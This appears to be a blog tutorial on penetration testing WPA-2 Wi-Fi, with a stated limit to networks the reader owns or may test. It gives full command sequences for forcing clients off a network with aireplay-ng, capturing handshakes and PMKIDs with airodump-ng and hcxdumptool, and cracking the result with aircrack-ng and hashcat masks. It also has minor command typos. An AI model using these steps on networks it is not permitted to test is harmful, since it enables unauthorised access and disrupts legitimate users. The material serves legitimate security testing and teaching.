Wireless Penetration Testing (WPA-2 Cracking)

In this article, I’ll discuss Wireless Penetration Testing and Cracking WPA-2 Protected Wifi. I will talk about two different methods that we can use to pentest the WPA-2 Network. So, Let’s get into the topic :)

Caution: This article is only for educational purposes. You have to Pentest only on the Networks that you legally own or that you have permission to test on.

Photo by Misha Feshchak on Unsplash

There are two methods that we can use, one is Capturing Full Way Handshake and the second one is by Using hcxdumptool. Once we get the hash file or handshake file we can take the file offline and crack the hash. So Basically, We will get the hash file in both ways, then we need to crack the hash using Hashcat.

Prerequisites:

1. Wifi Adaptor (Monitor Mode Supported).
2. A Linux Machine.
3. airmon-ng,airodump-ng,aircrack-ng (for method 1)
4. hcxdumptool and hcxtools (for method 2)
5. Hashcat
6. Wifi Network that you have permission to test.

1. Capturing Full Way Handshake (airodump-ng)

I know this old way to crack the wifi passwords but it still works great. In this method, we will capture a full-way handshake by sending the de-auth signal to a user on the network.

Install the required software by entering the following command

sudo apt install aircrack-ng

Start by entering the network interface into the monitor mode. Type the following commands to start the monitor mode.

iwconfig
sudo airmon-ng check kill
sudo airmon-ng start wlp8s0

Here, wlp8s0 is my network interface.

Type iwconfig, to ensure monitor mode is started.

Now, We can use airodump-ng to list all wifi networks

sudo airodump-ng wlp8s0mon

It will display Network BSSID, and Channel (CH) details of networks.

Copy target Wifi BSSID and CH.

Now, start dumping a full-way handshake using the following command

sudo airodump-ng -c 6 --bssid A6:0C:ID:ID:ID:ID -w filename wlp8s0mon

It starts listening for a handshake. We can see devices that are connected to the target network. To capture the full-way handshake, we need to send a de-auth signal to a user on the target network. To send a de-auth signal, open a new terminal tab and use the following command.

sudo aireplay-ng -0 1 -a WIFI:BSSID -c DEVICE:BSSID wlp8s0mon

Once, the de-auth is completed come back to the previous terminal. You can see that WPA handshake is captured. Now, you can press ctrl+c to stop the process.

Now, we have filename.cap file. We can either use aircrack-ng to crack the password or we can convert filename.cap to hash.hc22000 and then we crack the hash using hashcat.

• To crack using aircrack-ng use the following command.

aircrack-ng -w rockyou.txt -b BSSID filename.cap

• To convert the .cap to hashcat hash format use the following website.

https://hashcat.net/cap2hashcat/

Upload filename.cap on the website and you can download the converted hash.hc22000 file.

2. Using hcxdumptool

This method is easy to follow and this doesn't require sending the de-auth signal to the user on the network.

Install hcxdumptool and hcxtools from the below links:

https://github.com/ZerBea/hcxdumptool

https://github.com/ZerBea/hcxtools

Once the required software is installed, follow the process.

First, stop the NetworkManager and Wpa supplicant by using the following commands.

sudo systemctl stop NetworkManager.service
sudo systemctl stop wpa_supplicant.service

Then, start the hcxdumptool to dump the pcapng file.

sudo hcxdumptool -i wlp8s0 -o dumpfile.pcapng --active_beacon --enable_status=15

Once, it is started we can wait for some to capture enough packets. Then, stop the process with ctrl+c.

Now, We have dumpfile.pcapng file in our machine. Start the NetworkManager and wpa supplicant service by the following command.

sudo systemctl start wpa_supplicant.service
sudo systemctl start NetworkManager.service

Next, we have to convert the .pcapng file to a crackable .hc22000 file. To do that use the following command.

hcxpcapngtool -o hash.hc22000 -E essidlist dumpfile.pcapng

Now, we have hash.hc22000 file which can be cracked by using hashcat.

3. Hashcat for cracking

Download the latest release of hashcat from https://hashcat.net/hashcat

• Dictionary attack (wordlist) using hashcat.

hashcat -m 22000 hash.hc22000 rockyou.txt

• Bruteforce using hashcat.

hahscat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

The above command is for brute-forcing an 8-digit number password.

hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d

You can also form a pattern for a password that is 10-digit and starts with 9.

hashcat -m 22000 hash.hc22000 -a 3 9?d?d?d?d?d?d?d?d?d

To make your own mask pattern refer the following guide from hashcat.

https://hashcat.net/wiki/doku.php?id=mask_attack

Thank you for reading my article. I hope this is useful for you.

If you like this post please share and follow me for more interesting posts like this :)